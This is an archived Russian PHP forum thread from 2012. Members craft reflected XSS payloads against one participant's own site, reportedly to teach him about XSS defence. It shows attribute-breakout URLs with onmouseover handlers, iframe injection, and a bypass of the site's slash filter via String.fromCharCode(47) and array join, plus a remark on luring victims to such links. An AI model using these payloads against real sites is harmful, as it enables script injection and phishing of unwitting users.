[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Задачка. Замена слешей для вывода
inpost
Привет! Необходимо вывести ссылку на внешний сайт:
http://site.ru .
Условие: запрещено использовать слеши, так как они через ЧПУ обрезаются (структура ирбиса). Мне надо в адресной строке передать абсолютный путь:
site.ru/PAGE/REM/http://site.ru/ID
Допустимо использовать HTML+CSS+JS
Пробовал сделать через html сущность, не получилось.



Спустя 17 минут, 12 секунд (13.01.2012 - 20:09) nugle написал(а):
а в чем проблема написать без http:// , а потом просто добавить?

Спустя 1 минута, 50 секунд (13.01.2012 - 20:11) inpost написал(а):
Проблема в том, что мы ломаем этот сайт:
http://kent666.16mb.com/read/all%22%3ETEXT/gallery
И нет у нас доступа до автозамены. А ломаем для того, чтобы научить человека защищаться от XSS инъекций.

Спустя 9 минут, 25 секунд (13.01.2012 - 20:21) killer8080 написал(а):
Цитата (inpost @ 13.01.2012 - 18:52)
Условие: запрещено использовать слеши, так как они через ЧПУ обрезаются (структура ирбиса). Мне надо в адресной строке передать абсолютный путь:
site.ru/PAGE/REM/http://site.ru/ID

А urlencode() чем не угодил?

http://site.ru

заменяем на
http%3A%2F%2Fsite.ru

Спустя 5 минут, 51 секунда (13.01.2012 - 20:26) kent666 написал(а):
Каким образом >> самый клёвый сайт" /> получилось внедрить wink.gif

Спустя 1 минута, 12 секунд (13.01.2012 - 20:28) inpost написал(а):
kent666
Это к данному вопросу не относится. В твоей теме расскажу smile.gif

killer8080
kent666.16mb.com/read/all"><iframe src="http:%2F%2Fphpforum.ru" width="800" height="600">/gallery
Да вот если так, то вообще на 404 кидает. Может серверная защита стоит от этого?

Спустя 11 минут, 41 секунда (13.01.2012 - 20:39) killer8080 написал(а):
Цитата (inpost @ 13.01.2012 - 19:28)
Может серверная защита стоит от этого?

скорей всего, но мне удалось её обойти вот
http://kent666.16mb.com/read/all%22+onmous...39;)%22/gallery

нужно навести мышь на любую ссылку

Спустя 5 минут, 37 секунд (13.01.2012 - 20:45) kent666 написал(а):
Может поможет взломать

http://kent666.16mb.com/read/all/gallery/cherepitsa

по каждому последнему переданному гет параметру (cherepitsa) модуль навигации в базе ищет наименование узла! если находит берет его id
строит дерево родителей
а потом сравнивает остальные гет параметры(имена) с именами родительского дерева. если 100% совпадение то открывает выбранную страницу
Иначе берет предпоследний гет параметр и делает аналогичные действия
smile.gif

Спустя 7 минут, 54 секунды (13.01.2012 - 20:53) Winston написал(а):
Цитата (kent666 @ 13.01.2012 - 19:45)
http://kent666.16mb.com/read/all/gallery/cherepitsa

А почему стрелочки на карусели по-арабски работают? smile.gif

Спустя 2 минуты, 58 секунд (13.01.2012 - 20:56) kent666 написал(а):
killer8080
а как получилось что алерт срабатывает!
Строка нигде в html не участвует


Спустя 53 секунды (13.01.2012 - 20:57) kent666 написал(а):
Winston что подразумеваеться под АРАБСКИ

Спустя 52 секунды (13.01.2012 - 20:58) Winston написал(а):
А если кодировать в base64_encode адрес, который передается? Или нужно, чтобы красивая ссылка была ?

Спустя 4 минуты, 36 секунд (13.01.2012 - 21:02) killer8080 написал(а):
Цитата (kent666 @ 13.01.2012 - 19:56)
killer8080
а как получилось что алерт срабатывает!
Строка нигде в html не участвует

загляни в хтмл
Свернутый текст
        <div class="menuGray">
<ul>
<li><a
href="http://kent666.16mb.com/read/all" onmouseover="alert('xss')"/main">Главная</a></li>
</ul>
<ul>
<li ><a href="
http://kent666.16mb.com/read/all" onmouseover="alert('xss')"/articles">Статьи</a></li>
<li
class="opened"><a href="http://kent666.16mb.com/read/all" onmouseover="alert('xss')"/gallery">Галерея</a></li>
<li ><a href="
http://kent666.16mb.com/read/all" onmouseover="alert('xss')"/catalogue">Каталог</a></li>
<li ><a
href="http://kent666.16mb.com/read/all" onmouseover="alert('xss')"/contacts">Контакты</a></li>
</ul>
</div>
правда чтоб использовать эту уязвимость, нужно заставить юзера перейти по уязвимой ссылке.
Цитата (Winston @ 13.01.2012 - 19:58)
А если кодировать в base64_encode адрес, который передается? Или нужно, чтобы красивая ссылка была ?

А что это даст?

Спустя 1 минута, 58 секунд (13.01.2012 - 21:04) kent666 написал(а):
Winston
а зачем base64_encode
Ссылка должна обязательно должна быть красивой! Меньше проблем с SEO

Спустя 17 секунд (13.01.2012 - 21:04) Winston написал(а):
Цитата (kent666 @ 13.01.2012 - 19:57)
что подразумеваеться под АРАБСКИ

Ну, нажимаешь стрелочку вправо, карусель крутится влево и наоборот :D
Цитата (kent666 @ 13.01.2012 - 19:56)
а как получилось что алерт срабатывает!

А ты не знал, что JS может из строки браузера исполняться? :)
Зайди на страницу свой галереи и вставь в адресную строку вот такой код :D
Свернутый текст
javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; 
DI=document.getElementsByTagName('img'); DIL=DI.length;
function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style;
DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+'px';
DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+'px'}R++}setInterval('A()',5); void(0);

Спустя 23 секунды (13.01.2012 - 21:05) inpost написал(а):
killer8080
Просто супер гениально использовать в onclick, ты молодец.
А как теперь объединять? Браузер + воспринимает как пробел, а пробовал через %2B тоже не получилось.
kent666.16mb.com/read/all"+onmouseover="document.getElementById('slide').innerHTML = '<iframe src=http:' \+ String.fromCharCode(0x2044) \+ String.fromCharCode(0x2044) \+ 'phpforum.ru' width=800 height=600"/gallery

В любом случае, для того, чтобы что-то там дописать - необходим плюс.

Спустя 53 секунды (13.01.2012 - 21:06) kent666 написал(а):
killer8080
Это через куки?

Спустя 2 минуты, 48 секунд (13.01.2012 - 21:09) Winston написал(а):
Цитата (killer8080 @ 13.01.2012 - 20:02)
А что это даст?

Ну как.. закодирует адрес, в наборе символов которые получится слешей нету (по-моему), ну и соответственно не будет обрезаться строка unsure.gif
Или я не понял задачу?

Спустя 2 минуты, 27 секунд (13.01.2012 - 21:11) kent666 написал(а):
Winston
Цитата
Ну, нажимаешь стрелочку вправо, карусель крутится влево и наоборот biggrin.gif

Ну не знаю как по мне тяненешь в право блоки сдвигаются в право

Спустя 1 минута, 33 секунды (13.01.2012 - 21:13) johniek_comp написал(а):
а как запретить js в строке браузера?

Спустя 1 минута, 2 секунды (13.01.2012 - 21:14) killer8080 написал(а):
Цитата (Winston @ 13.01.2012 - 20:04)
А ты не знал, что JS может из строки браузера исполняться? smile.gif

Нет внедряется в документ, но проблема в том что жертва должна перейти по такой ссылке. Это не совсем чистый xss, но СИ никто не отменял wink.gif
Цитата (inpost @ 13.01.2012 - 20:05)
Просто супер гениально использовать в onclick

нет там onmouseover, вероятность того что юзер проведет мышкой над ссылкой выше, чем то что он на неё нажмет. smile.gif

Спустя 2 минуты, 21 секунда (13.01.2012 - 21:16) killer8080 написал(а):
Цитата (Winston @ 13.01.2012 - 20:09)
Ну как.. закодирует адрес, в наборе символов которые получится слешей нету (по-моему), ну и соответственно не будет обрезаться строка
Или я не понял задачу?

что мне помешает для атаки так же свой код прогнать через base64 wink.gif
Цитата (johniek_comp @ 13.01.2012 - 20:13)
а как запретить js в строке браузера?

Никак. Оно и не надо, проблема там не в этом.
inpost
щас попробую с ифреймами замутить smile.gif

Спустя 4 минуты, 18 секунд (13.01.2012 - 21:20) inpost написал(а):
http://kent666.16mb.com/read/all%22+onmous...ray;%22/gallery

С плюсами справился! iframe вставляется! Единственное, я никак не могу понять, как эти слеши подставить! CharCode вернул какие-то корявые слеши, из-за чего iframe не пошел на внешний ресурс

П.С. я понял про onMouseOver, просто думал об одном, а на клаву по старинке onclick выскочил smile.gif

Спустя 4 минуты, 56 секунд (13.01.2012 - 21:25) inpost написал(а):
Свернутый текст
Что-то какие-то хакерские деньки пошли. За недельку на 3х сайтах уязвимости нашел XSS+sql-inj, провел 2 мастер-класса (урока-треннинга) с разными людьми по поводу безопасности smile.gif

Спустя 3 часа, 40 минут, 46 секунд (14.01.2012 - 01:06) killer8080 написал(а):
Если еще кому то интересно, вот ссылка с внедрением ифрейма с яндексом

http://kent666.16mb.com/read/all%22+onmous...D%7D%22/gallery

Спустя 2 часа, 43 минуты, 41 секунда (14.01.2012 - 03:50) Эли4ка написал(а):
ого.. ohmy.gif ohmy.gif

Спустя 7 часов, 55 минут, 42 секунды (14.01.2012 - 11:45) inpost написал(а):
killer8080
Благодарю.
Нужен был именно CharCode(47), а я не тот вставлял: (0x2044)

http://kent666.16mb.com/read/all%22+onmous...ray;%22/gallery
Это, то, что я выше давал с исправленным CharCode, как раз на 47. Всё работает.

Спустя 3 часа, 10 минут, 11 секунд (14.01.2012 - 14:55) killer8080 написал(а):
inpost
в общем там защита от вставки прямых слешей, видимо защита от файл инклюжн, обходится чаркодами. Ну и проблема с вставкой плюсов. Для конкатенации приходится использовать массив с джойном, собственно это была твоя идея smile.gif


_____________
Обучаю веб-программированию качественно и не дорого: http://school-php.com
Фрилансер, принимаю заказы: PHP, JS, AS (видео-чаты). Писать в ЛС (Личные сообщения на phpforum).
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.